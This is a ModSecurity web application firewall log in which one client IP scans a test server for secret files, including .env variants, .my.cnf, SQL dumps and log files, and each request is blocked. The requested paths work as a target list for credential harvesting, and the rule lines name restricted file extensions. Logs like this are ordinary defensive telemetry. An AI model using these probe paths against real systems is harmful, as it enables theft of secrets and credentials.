[Sun Jun 29 20:21:48.070952 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWXgAAAAA&quot;]
[Sun Jun 29 20:21:48.072124 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWXgAAAAA&quot;]
[Sun Jun 29 20:21:48.072344 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWXgAAAAA&quot;]
[Sun Jun 29 20:21:48.092281 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWXwAAAAA&quot;]
[Sun Jun 29 20:21:48.092627 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWXwAAAAA&quot;]
[Sun Jun 29 20:21:48.092814 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWXwAAAAA&quot;]
[Sun Jun 29 20:21:48.155249 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWYgAAAAA&quot;]
[Sun Jun 29 20:21:48.155489 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWYgAAAAA&quot;]
[Sun Jun 29 20:21:48.155688 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWYgAAAAA&quot;]
[Sun Jun 29 20:21:48.176204 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWYwAAAAA&quot;]
[Sun Jun 29 20:21:48.176442 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWYwAAAAA&quot;]
[Sun Jun 29 20:21:48.176645 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aGGEPDOxdet7QOoqVXWWYwAAAAA&quot;]
[Sun Jun 29 20:21:56.745327 2025] [:error] [pid 3205368] [client 185.177.72.107:38838] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aGGERPU4kcQDYAJF_ch7EgAAAAo&quot;]
[Sun Jun 29 20:21:56.745563 2025] [:error] [pid 3205368] [client 185.177.72.107:38838] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aGGERPU4kcQDYAJF_ch7EgAAAAo&quot;]
[Sun Jun 29 20:21:56.745734 2025] [:error] [pid 3205368] [client 185.177.72.107:38838] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aGGERPU4kcQDYAJF_ch7EgAAAAo&quot;]
[Sun Jun 29 20:22:20.805427 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aGGEXOU-dj-hWt1UAd7gjQAAAAU&quot;]
[Sun Jun 29 20:22:20.805781 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aGGEXOU-dj-hWt1UAd7gjQAAAAU&quot;]
[Sun Jun 29 20:22:20.805973 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aGGEXOU-dj-hWt1UAd7gjQAAAAU&quot;]
[Sun Jun 29 20:22:25.478172 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.my.cnf&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .my.cnf found within REQUEST_FILENAME: /mysql/.my.cnf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql/.my.cnf&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gjgAAAAU&quot;]
[Sun Jun 29 20:22:25.478465 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql/.my.cnf&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gjgAAAAU&quot;]
[Sun Jun 29 20:22:25.479392 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql/.my.cnf&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gjgAAAAU&quot;]
[Sun Jun 29 20:22:25.501107 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysqldump.sql&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gjwAAAAU&quot;]
[Sun Jun 29 20:22:25.501460 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysqldump.sql&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gjwAAAAU&quot;]
[Sun Jun 29 20:22:25.501655 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysqldump.sql&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gjwAAAAU&quot;]
[Sun Jun 29 20:22:25.546630 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkQAAAAU&quot;]
[Sun Jun 29 20:22:25.546942 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkQAAAAU&quot;]
[Sun Jun 29 20:22:25.547169 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkQAAAAU&quot;]
[Sun Jun 29 20:22:25.568981 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkgAAAAU&quot;]
[Sun Jun 29 20:22:25.569217 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkgAAAAU&quot;]
[Sun Jun 29 20:22:25.569419 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkgAAAAU&quot;]
[Sun Jun 29 20:22:25.591361 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkwAAAAU&quot;]
